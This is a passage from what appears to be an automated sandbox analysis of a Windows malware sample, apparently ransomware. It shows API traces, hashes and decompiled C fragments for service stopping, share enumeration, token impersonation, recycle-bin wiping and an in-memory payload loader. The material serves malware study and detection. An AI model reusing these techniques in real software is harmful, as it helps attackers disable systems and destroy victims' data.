                          • VariantClear.OLEAUT32(?), ref: 029A2B4E
                          • VariantClear.OLEAUT32(?), ref: 029A2B54
                          • VariantClear.OLEAUT32(?), ref: 029A2B5D
                          • VariantClear.OLEAUT32(?), ref: 029A2B66
                          • VariantClear.OLEAUT32(?), ref: 029A2B6C
                          • SysFreeString.OLEAUT32(00000000), ref: 029A2B9F
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Variant$ClearInit$String$Freelstrcmpi$Alloc
                          • String ID: Domain$GetOwner$Name$Running$State$User
                          • API String ID: 1173459678-1386339017
                          • Opcode ID: 551fa9dd6e3c599550524e3a90a98c6d0c3cc78d4f6687c2fe503ed40358b008
                          • Instruction ID: 0266a7c18c1fbcfdada8621cfd2b4bc366352fa67dc4f53f209eabc80b4eba2b
                          • Opcode Fuzzy Hash: 551fa9dd6e3c599550524e3a90a98c6d0c3cc78d4f6687c2fe503ed40358b008
                          • Instruction Fuzzy Hash: D1B13D75E41319AFEB10DFB0CC55FAE77BCAF89704F214459FA05EB080E670AA458BA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID:
                          • String ID: @
                          • API String ID: 0-2766056989
                          • Opcode ID: ca6d90cf8541ae26c0be9822038438712ac09070bdeeee121038c90635dc8e9c
                          • Instruction ID: ce49c61f10d185f63fdf117f7eb9e9b4b307dcde0f825da161cdfe18ade4ea5c
                          • Opcode Fuzzy Hash: ca6d90cf8541ae26c0be9822038438712ac09070bdeeee121038c90635dc8e9c
                          • Instruction Fuzzy Hash: D3814C71E40319BBEB11DBA1CC95EEFBBBCEF49754F100465F605EA180D670AA45CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: 53dd44435d46717bc3931e4bd31253069c29995624b84629083ae042da905744
                          • Instruction ID: 33b0716da2e467993bb328fe3be286b2a99d72d4832c153e233a1aafd6ec4c9e
                          • Opcode Fuzzy Hash: 53dd44435d46717bc3931e4bd31253069c29995624b84629083ae042da905744
                          • Instruction Fuzzy Hash: 18816E75E40218BFDB11DBA4CD99EAFBBBCEF49711F104559B906E7250DA709D00CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • SHEmptyRecycleBinW.SHELL32(00000000,00000000,00000007), ref: 029A3DC5
                          • GetCurrentProcess.KERNEL32(00008000), ref: 029A3DD0
                          • SetPriorityClass.KERNELBASE(00000000,00008000), ref: 029A3DD6
                          • SetThreadExecutionState.KERNEL32(80000001), ref: 029A3DE1
                          • WinExec.KERNEL32(?,00000000), ref: 029A3E09
                            • Part of subcall function 029A7C36: RtlAdjustPrivilege.NTDLL(029A3E1B,00000001,00000001,?), ref: 029A7C49
                            • Part of subcall function 029A7C36: RtlAdjustPrivilege.NTDLL(029A3E1B,00000001,00000000,00000000), ref: 029A7C65
                          • CreateThread.KERNELBASE(00000000,00000000,Function_00003FAE,00000000,00000000,00000000), ref: 029A3E2E
                            • Part of subcall function 029A5416: CloseHandle.KERNEL32(00000000,?,029A37B5,5A036A02,00000000), ref: 029A5422
                            • Part of subcall function 029A423B: EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,00000000,00000000,029A3E3F,00000000,00000000,?,?,?,?,?,029A3E3F), ref: 029A426B
                            • Part of subcall function 029A423B: RtlGetLastWin32Error.NTDLL ref: 029A4275
                            • Part of subcall function 029A5B1F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 029A5B2F
                          • CreateThread.KERNELBASE(00000000,00000000,Function_00002BB5,00000000,00000000,00000000), ref: 029A3E5A
                          • SetThreadExecutionState.KERNEL32(80000000), ref: 029A3EB0
                          • MoveFileExW.KERNEL32(00000000,00000000,00000004), ref: 029A3ED1
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Thread$Create$AdjustExecutionPrivilegeState$ClassCloseCurrentEmptyEnumErrorExecFileHandleLastMovePriorityProcessRecycleServicesSnapshotStatusToolhelp32Win32
                          • String ID:
                          • API String ID: 1420663820-0
                          • Opcode ID: ddb5b6c323ffb57b102b593bfb86dd37f736b099850d62c918eb83fb1a26c4d7
                          • Instruction ID: 0d0e2cc30128814ccf3a06b5316e20fcea36f94024b3e30dcdbd3254ee931c87
                          • Opcode Fuzzy Hash: ddb5b6c323ffb57b102b593bfb86dd37f736b099850d62c918eb83fb1a26c4d7
                          • Instruction Fuzzy Hash: AD21E6B1D88309BFF72177B09DAAE3B365DEB40749F500865FA05A5081EB745C108EF9
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • PathRemoveBackslashW.SHLWAPI(00000000), ref: 029A3A2A
                          • PathIsDirectoryW.SHLWAPI(00000000), ref: 029A3A31
                          • PathAddBackslashW.SHLWAPI(00000000), ref: 029A3A3C
                            • Part of subcall function 029A5438: GetCommandLineW.KERNEL32(?,?,029A13EA,?), ref: 029A543E
                            • Part of subcall function 029A5438: CommandLineToArgvW.SHELL32(00000000,?,029A13EA,?), ref: 029A5445
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Path$BackslashCommandLine$ArgvDirectoryRemove
                          • String ID:
                          • API String ID: 1603908121-0
                          • Opcode ID: 664806741e8dc7357bb0ef19034a3463cc3b7fa5902e6ffc02963aba765e88a1
                          • Instruction ID: b74606bf0534844aa52ab8bdff0b34b47c97f7afd347c2886871089828ad96a6
                          • Opcode Fuzzy Hash: 664806741e8dc7357bb0ef19034a3463cc3b7fa5902e6ffc02963aba765e88a1
                          • Instruction Fuzzy Hash: 5A61EE71D45315EFDB12EFA5D9A49BEB7BDFF88304B5044AEE805A2140EB309501CFA8
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,00000001,00000000,00000000), ref: 029A8722
                          • OpenProcessToken.ADVAPI32(00000000,00000006,?,?,?,?,00000001,00000000,00000000), ref: 029A8735
                          • DuplicateToken.ADVAPI32(?,00000002,029A3B2A,?,?,?,00000001,00000000,00000000), ref: 029A874F
                          • GetDriveTypeW.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 029A87A3
                            • Part of subcall function 029A5416: CloseHandle.KERNEL32(00000000,?,029A37B5,5A036A02,00000000), ref: 029A5422
                          • RevertToSelf.ADVAPI32(029A3B2A,00000002,00000000,029A3B2A,00000005,00000000,029A3B2A,00000001,00000000,00000000), ref: 029A8808
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: OpenProcessToken$CloseDriveDuplicateHandleRevertSelfType
                          • String ID:
                          • API String ID: 529401157-0
                          • Opcode ID: d5deafeb33fff115786770cb4f193a569485980f072f9b7a3e8b5b7d4de047ac
                          • Instruction ID: ac650faa9a4470073093c0e6f025473fa0054a67d9735944cfb785b5f55390a5
                          • Opcode Fuzzy Hash: d5deafeb33fff115786770cb4f193a569485980f072f9b7a3e8b5b7d4de047ac
                          • Instruction Fuzzy Hash: 4E31E5A2A4030479F6217BB09C92FBF726EFF81B54F144426FE05B9080EB648E425BF1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E6D4C11B0() {
                          				void* _v8;
                          				void* _v12;
                          				intOrPtr _t11;
                          				signed int _t12;
                          				long _t13;
                          				signed int _t14;
                          				void* _t15;
                          				long _t16;
                          				void* _t17;
                          				intOrPtr _t18;
                          				intOrPtr _t28;
                          				long _t29;
                          				long _t30;
                          
                          				SetThreadPriority(GetCurrentThread(), 0x100);
                          				_t11 =  *0x6d57cc20; // 0x13
                          				_t12 = E6D4C1110(0x6d55d000, _t11);
                          				if((_t12 & 0x000000ff) != 0) {
                          					_t28 =  *0x6d57cc20; // 0x13
                          					_t13 =  *0x6d57cc1c; // 0x1fc00
                          					_t14 = E6D4C1000(0x6d55d018, _t13, 0x6d55d000, _t28, 0x6d57ee60); // executed
                          					if((_t14 & 0x000000ff) != 0) {
                          						_v8 = 0;
                          						do {
                          							_t29 =  *0x6d57cc1c; // 0x1fc00
                          							_t15 = CreateFileMappingW(0xffffffff, 0, 0x40, 0, _t29, 0); // executed
                          							_v8 = _t15;
                          						} while (_v8 == 0 || _v8 == 0xffffffff);
                          						_t16 =  *0x6d57cc1c; // 0x1fc00
                          						_t17 = MapViewOfFile(_v8, 0xf003f, 0, 0, _t16); // executed
                          						_v12 = _t17;
                          						_t30 =  *0x6d57cc1c; // 0x1fc00
                          						_t18 =  *0x6d57ee60; // 0xf98630
                          						E6D51F530(_v12, _t18, _t30);
                          						E6D4C10E0(_v12); // executed
                          						return 0;
                          					}
                          					return _t14 | 0xffffffff;
                          				}
                          				return _t12 | 0xffffffff;
                          			}
















                          0x6d4c11c2
                          0x6d4c11c8
                          0x6d4c11d3
                          0x6d4c11e0
                          0x6d4c11ef
                          0x6d4c11fb
                          0x6d4c1206
                          0x6d4c1213
                          0x6d4c121a
                          0x6d4c1221
                          0x6d4c1223
                          0x6d4c1232
                          0x6d4c1238
                          0x6d4c123b
                          0x6d4c1247
                          0x6d4c125a
                          0x6d4c1260
                          0x6d4c1263
                          0x6d4c126a
                          0x6d4c1274
                          0x6d4c1280
                          0x00000000
                          0x6d4c1288
                          0x00000000
                          0x6d4c1215
                          0x00000000

                          APIs
                          • GetCurrentThread.KERNEL32 ref: 6D4C11BB
                          • SetThreadPriority.KERNELBASE(00000000), ref: 6D4C11C2
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: Thread$CurrentPriority
                          • String ID:
                          • API String ID: 1343868529-0
                          • Opcode ID: b0344286b237f41c52aeeb1309423d42d44bde2d97c757d4eef2ba82f57153f4
                          • Instruction ID: 0857660f09dcbd021182fdb711f2c510ef1a2d007458c4759a5da4bfa5f676b2
                          • Opcode Fuzzy Hash: b0344286b237f41c52aeeb1309423d42d44bde2d97c757d4eef2ba82f57153f4
                          • Instruction Fuzzy Hash: 9621C6BAA04200BBDF14DAE49C45F3A3278AB8A315F214619F621A76C0EB709D418792
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • SetErrorMode.KERNELBASE(00000001), ref: 029A47DF
                          • MessageBoxW.USER32(00000000,ERR0R D0UBLE RUN!,-Err-,00000010), ref: 029A4856
                            • Part of subcall function 029A58FE: GetKeyboardLayoutList.USER32(00000000,00000000,00000001,00000000,029B1278,?,?,029A1A80), ref: 029A5911
                            • Part of subcall function 029A58FE: GetKeyboardLayoutList.USER32(00000000,00000000,?,?,029A1A80), ref: 029A5931
                            • Part of subcall function 029A54AF: ExitProcess.KERNEL32 ref: 029A54B5
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: KeyboardLayoutList$ErrorExitMessageModeProcess
                          • String ID: -Err-$ERR0R D0UBLE RUN!
                          • API String ID: 1549214999-2540690572
                          • Opcode ID: d896401c60103fa0acc7551ec3c0470ee80e7c3c6c83a04f0ee0aa24e63e968f
                          • Instruction ID: 7d2d3565162e5a42c503c57894126b2ca0082c54198c839a9abafb77e59684ec
                          • Opcode Fuzzy Hash: d896401c60103fa0acc7551ec3c0470ee80e7c3c6c83a04f0ee0aa24e63e968f
                          • Instruction Fuzzy Hash: 9D01A230B893C1A9F7617BBCB9367A821465BC0B16F416825A649680C09FE080E4CDE6
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A834D: CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,029A479B,00000000,40000000,00000000,00000002,00000000,00000000,00000000), ref: 029A8363
                          • RtlGetLastWin32Error.NTDLL ref: 029A35E6
                          • RtlGetLastWin32Error.NTDLL ref: 029A362E
                          • GetFileAttributesW.KERNELBASE(?), ref: 029A3654
                          • SetFileAttributesW.KERNELBASE(?,00000080), ref: 029A3669
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: File$AttributesErrorLastWin32$Create
                          • String ID:
                          • API String ID: 1515811453-0
                          • Opcode ID: 765885c78b028c72b8cec244122f54d2e6ae99c8c68d7052a44508493c0897b1
                          • Instruction ID: c1b6e67df986973065764f5c803f678823546c33d929e82db2fb3aef571b0f5c
                          • Opcode Fuzzy Hash: 765885c78b028c72b8cec244122f54d2e6ae99c8c68d7052a44508493c0897b1
                          • Instruction Fuzzy Hash: 8A410B71904705BBDB30AE6CDC65FBF729DEF84314F144969F909A6280EB31DA008AED
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • WNetOpenEnumW.MPR(00000001,00000000,00000000,029A3B2A,00000001), ref: 029A859A
                          • WNetCloseEnum.MPR(00000001), ref: 029A85C8
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Enum$CloseOpen
                          • String ID:
                          • API String ID: 1701607978-0
                          • Opcode ID: a8eb346f37a7a517fa37c9e9a232e30fe214236df3b60ed206819e8bbeef969a
                          • Instruction ID: 6bfd00ca86f3044bdd8f2334ae366ea4495228c5c92eb688b1d34be3103dfd06
                          • Opcode Fuzzy Hash: a8eb346f37a7a517fa37c9e9a232e30fe214236df3b60ed206819e8bbeef969a
                          • Instruction Fuzzy Hash: B0417F7194030ABBEB21EFA8DD55BBEB7BEFF44314F140569E801A6190E770DA51CB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • RegOpenKeyExW.KERNELBASE(0000000C,0000000D,00000000,00000001,?,029B1278,00000000,?,?,029A239C,80000002,?,?,?,?,029B1278), ref: 029A5CCA
                          • RegQueryValueExW.KERNELBASE(?,0000114A,00000000,029B1278,00000000,?,80000002,?,?,029A239C,80000002,?,?,?,?,029B1278), ref: 029A5CE4
                          • RegCloseKey.KERNELBASE(?,?,?,029A239C,80000002,?,?,?,?,029B1278,0000114A,0000000D,0000000C,?), ref: 029A5D23
                            • Part of subcall function 029A5174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                            • Part of subcall function 029A5174: GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                          • RegQueryValueExW.KERNELBASE(?,0000114A,00000000,029B1278,00000000,?,?,?,029A239C,80000002,?,?,?,?,029B1278,0000114A), ref: 029A5D0D
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: HeapQueryValue$CloseCreateOpenProcess
                          • String ID:
                          • API String ID: 3348224683-0
                          • Opcode ID: ac9e7d9c4ce1baad65b08f376c5d3e435aa575eb4724e006fb153aee3b57a0ee
                          • Instruction ID: f50a7bcb113dec3104537ad38cca4e056c7fe4a4a74405daf41e636e7faaff78
                          • Opcode Fuzzy Hash: ac9e7d9c4ce1baad65b08f376c5d3e435aa575eb4724e006fb153aee3b57a0ee
                          • Instruction Fuzzy Hash: 52016D72E0020DBF9F214F61DD98DAFBB6DEF49794B510166FC0091120E7328D20DAA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • OpenServiceW.ADVAPI32(00000001,?,0001002C,?,?,?,?,029A62C8,?,00000001,00000000,?,029A368A), ref: 029A5DDF
                            • Part of subcall function 029A5E46: GetTickCount.KERNEL32 ref: 029A5E4E
                            • Part of subcall function 029A5E46: EnumDependentServicesW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 029A5E6A
                          • ControlService.ADVAPI32(00000000,00000001,?,00000000,00000000,?,?,?,029A62C8,?,00000001,00000000,?,029A368A), ref: 029A5E0E
                          • CloseServiceHandle.ADVAPI32(00000000,?,?,?,029A62C8,?,00000001,00000000,?,029A368A), ref: 029A5E19
                          • CloseServiceHandle.ADVAPI32(00000000,?,?,?,029A62C8,?,00000001,00000000,?,029A368A), ref: 029A5E37
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Service$CloseHandle$ControlCountDependentEnumOpenServicesTick
                          • String ID:
                          • API String ID: 1454505666-0
                          • Opcode ID: a117cf51d727510396efbd2bbf37b621e6961cfb39e438521a77db87ea45257d
                          • Instruction ID: a908e49a2f12b6d02c4acc133c3833e330d4789f2a332ef40d76920756c9db70
                          • Opcode Fuzzy Hash: a117cf51d727510396efbd2bbf37b621e6961cfb39e438521a77db87ea45257d
                          • Instruction Fuzzy Hash: 6C01F232F05319BFDF222F64EC989AF3BADEF09224B52052AF90498140DB7189118AD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,029A7C9F,?,?,029A3352,?,00000001), ref: 029A7CCB
                          • OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,029A7C9F,?,?,029A3352,?,00000001), ref: 029A7CD1
                          • GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),029B33E4,00000200,?,?,?,?,?,029A7C9F,?,?,029A3352,?,00000001), ref: 029A7CED
                            • Part of subcall function 029A5416: CloseHandle.KERNEL32(00000000,?,029A37B5,5A036A02,00000000), ref: 029A5422
                          • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000001,00000000,00000000,00000000,?,?,?,?,029A7C9F,?,?,029A3352,?,00000001), ref: 029A7D16
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: ProcessToken$CloseCurrentHandleInfoInformationNamedOpenSecurity
                          • String ID:
                          • API String ID: 988355331-0
                          • Opcode ID: f1f4824eef170558f595c85e01626f657ed94f271150c057a14944bf9e8d0823
                          • Instruction ID: 27df9f6af4ef48d382a7ffb2cfa4c8db0ef020b454d96ee5bca345b0c82a6f7b
                          • Opcode Fuzzy Hash: f1f4824eef170558f595c85e01626f657ed94f271150c057a14944bf9e8d0823
                          • Instruction Fuzzy Hash: 40016D70A48228BBEB529BA19D59EFFBAACEF45651F400465BD04D1080EB319921D6F4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • MoveFileW.KERNEL32(00000000,50C2440F), ref: 029A844B
                          • RtlGetLastWin32Error.NTDLL ref: 029A8457
                            • Part of subcall function 029A7B9D: OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,00000000,?,?,029A8466,?,029A37F7,50C2440F,00000000), ref: 029A7BD5
                            • Part of subcall function 029A7B9D: OpenProcessToken.ADVAPI32(00000000,000F01FF,00000000,?,?,?,?,?,00000000,?,?,029A8466,?,029A37F7,50C2440F,00000000), ref: 029A7BEB
                          • MoveFileW.KERNEL32(00000000,50C2440F), ref: 029A8470
                          • RevertToSelf.ADVAPI32(?,029A37F7,50C2440F,00000000,00000000,00000000,?,?,029A3C3F,?,?), ref: 029A8478
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: FileMoveOpenProcess$ErrorLastRevertSelfTokenWin32
                          • String ID:
                          • API String ID: 1170966839-0
                          • Opcode ID: 7f8d5a70a588768e69080e26728b22a3018ee2d76da7298265d46c58dd7cc7c6
                          • Instruction ID: bae2f433951b72f0779c406d97a8877dc10bd0d633f4236ba0b4ea83f5badd81
                          • Opcode Fuzzy Hash: 7f8d5a70a588768e69080e26728b22a3018ee2d76da7298265d46c58dd7cc7c6
                          • Instruction Fuzzy Hash: 16E04F359407196B8F223BB1E9346AD7EAAEF442A0B014420FE8E86210CB31C8209BD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,00000000,?,?,029A8466,?,029A37F7,50C2440F,00000000), ref: 029A7BD5
                          • OpenProcessToken.ADVAPI32(00000000,000F01FF,00000000,?,?,?,?,?,00000000,?,?,029A8466,?,029A37F7,50C2440F,00000000), ref: 029A7BEB
                          • ImpersonateLoggedOnUser.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?,029A8466,?,029A37F7,50C2440F,00000000,00000000,00000000), ref: 029A7C08
                            • Part of subcall function 029A5416: CloseHandle.KERNEL32(00000000,?,029A37B5,5A036A02,00000000), ref: 029A5422
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: OpenProcess$CloseHandleImpersonateLoggedTokenUser
                          • String ID:
                          • API String ID: 3433600676-0
                          • Opcode ID: d2950e98542c073f55f018edf9415031c7e95e8dc64c32b65cf20c50d98c15e9
                          • Instruction ID: e453777a192990fd4ef189208270d8f79890bf74e756b626cf627eca98c9941d
                          • Opcode Fuzzy Hash: d2950e98542c073f55f018edf9415031c7e95e8dc64c32b65cf20c50d98c15e9
                          • Instruction Fuzzy Hash: 7C018F72E59319BAFB5167F09C16EEE73ADEF08701F050966EE04F6180EA60DA1046E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 029A5B2F
                          • Process32FirstW.KERNEL32(00000000,?), ref: 029A5B52
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CreateFirstProcess32SnapshotToolhelp32
                          • String ID:
                          • API String ID: 2353314856-0
                          • Opcode ID: 91870c91593f96e42423a3d38194a68a2d4ff41827f0cf6df5ce5e048a023eff
                          • Instruction ID: c4929e15d3aa9dff3a309a271fb9a3488cb2fa6a08aa4e4ec91c0a45d819dac0
                          • Opcode Fuzzy Hash: 91870c91593f96e42423a3d38194a68a2d4ff41827f0cf6df5ce5e048a023eff
                          • Instruction Fuzzy Hash: 9001D671E06318BFD7205A75FC1CAAE77BCEB89232F6145AAFC19D2180D730894089E0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • RegCreateKeyExW.KERNELBASE(00000000,029B3460,00000000,00000000,00000000,00000002,00000000,029A1970,00000000,00000000,?,?,029A25C1,80000002,?,?), ref: 029A5D4A
                          • RegSetValueExW.KERNELBASE(029A1970,?,00000000,00000000,029B34B8,?,?,?,029A25C1,80000002,?,?,00000003,029B3420,?,029B34B8), ref: 029A5D64
                          • RegCloseKey.KERNELBASE(029A1970,?,?,029A25C1,80000002,?,?,00000003,029B3420,?,029B34B8,00000000,?,029B3460,00000000,029A1970), ref: 029A5D75
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CloseCreateValue
                          • String ID:
                          • API String ID: 1818849710-0
                          • Opcode ID: e36d83329de7b2e743a1d5a6728e07c4edafa606803e3b5eb6d718531717b37b
                          • Instruction ID: 3263e619e627b26aaeb00bca4e69af3a817fbfbb9a34b8cb70c65863d6254b62
                          • Opcode Fuzzy Hash: e36d83329de7b2e743a1d5a6728e07c4edafa606803e3b5eb6d718531717b37b
                          • Instruction Fuzzy Hash: 51F0FE32945229BBDF265FA1DD0DDEB7F6DEF0A2A1B004455FE0995020D7328930EBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 58%
                          			_entry_() {
                          				void* _t3;
                          
                          				_t3 = E00B21104();
                          				__imp__ServiceCrtMain(0, 0); // executed
                          				ExitProcess(0 | _t3 < 0x00000000);
                          			}




                          0x00b210e1
                          0x00b210ea
                          0x00b210f8

                          APIs
                            • Part of subcall function 00B21104: GetSystemTimeAsFileTime.KERNEL32(?), ref: 00B2112B
                            • Part of subcall function 00B21104: GetCurrentProcessId.KERNEL32 ref: 00B2113A
                            • Part of subcall function 00B21104: GetCurrentThreadId.KERNEL32 ref: 00B21143
                            • Part of subcall function 00B21104: GetTickCount.KERNEL32 ref: 00B2114C
                            • Part of subcall function 00B21104: QueryPerformanceCounter.KERNEL32(00000000), ref: 00B21161
                          • ServiceCrtMain.MPSVC(00000000,00000000), ref: 00B210EA
                          • ExitProcess.KERNEL32 ref: 00B210F8
                          Memory Dump Source
                          • Source File: 00000001.00000002.916980334.0000000000B21000.00000020.00020000.sdmp, Offset: 00B20000, based on PE: true
                          • Associated: 00000001.00000002.916965792.0000000000B20000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.916992113.0000000000B23000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CurrentProcessTime$CountCounterExitFileMainPerformanceQueryServiceSystemThreadTick
                          • String ID:
                          • API String ID: 815746572-0
                          • Opcode ID: acd7c0ecc7a88b613fe632324b4a1612d13125e59b4fed60cc6df770ca85dac0
                          • Instruction ID: 2fb683b98c267ed44e7fcd91e4c747bdb2c66e8b259bf925a44d4b26204c7ed0
                          • Opcode Fuzzy Hash: acd7c0ecc7a88b613fe632324b4a1612d13125e59b4fed60cc6df770ca85dac0
                          • Instruction Fuzzy Hash: B8C09270640211ABE2386734AC2FB4B29D86B04B13F010418B606E94E0DEB8C2125531
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetDriveTypeW.KERNELBASE(?,00000000,?,?,?,?,?,?,?,?,00000001,00000000), ref: 029A84D7
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: DriveType
                          • String ID: Share added by R
                          • API String ID: 338552980-1195763064
                          • Opcode ID: f7f25789b66beb4250c7b2c6003c47afe1879038a7c646fd208ab4477bf012ce
                          • Instruction ID: ad4f040dcb8bee75883eba9e1fb69bc396d77c929d79d1c70aebee3c66dbd656
                          • Opcode Fuzzy Hash: f7f25789b66beb4250c7b2c6003c47afe1879038a7c646fd208ab4477bf012ce
                          • Instruction Fuzzy Hash: F9316976D0030DAADB21EBF0DC919EEBBBDFF49700F50056AEA05A7180E73046468F95
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • OpenSCManagerW.SECHOST(00000000,ServicesActive,00000004,029A6231,?,029A368A,?), ref: 029A5DC6
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: ManagerOpen
                          • String ID: ServicesActive
                          • API String ID: 1889721586-3071072050
                          • Opcode ID: 19e8612e46e343daf6295af58cfa569b806b8be453fa94ce76e20ef27a4b6c9e
                          • Instruction ID: 56e9e7c57f98f6f58ef6d2273b816329b0f5ecf073a2f8fb1f787ffb81ebf51e
                          • Opcode Fuzzy Hash: 19e8612e46e343daf6295af58cfa569b806b8be453fa94ce76e20ef27a4b6c9e
                          • Instruction Fuzzy Hash: 2DA00270FC83006AFD525B505E2FF5436509781F16F104D58BB57681C045E118108559
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E6D4C1000(intOrPtr _a4, signed int _a8, intOrPtr _a12, void** _a20) {
                          				signed int _t6;
                          				void* _t8;
                          				intOrPtr _t9;
                          				void* _t12;
                          				void* _t15;
                          				void* _t18;
                          				void* _t27;
                          				intOrPtr _t28;
                          				signed int _t29;
                          				signed int _t33;
                          
                          				_t6 =  *0x6d57ee74; // 0x1
                          				if((_t6 & 0x00000001) == 0) {
                          					_t29 =  *0x6d57ee74; // 0x1
                          					 *0x6d57ee74 = _t29 | 0x00000001;
                          					 *0x6d57ee70 = E6D4C1590();
                          				}
                          				_t8 = E6D4C2310();
                          				_t9 =  *0x6d57ee70; // 0xf8f9b0
                          				if(E6D4C1B10(_t9, _t8, 0, _a12, 0) != 0xffffffff) {
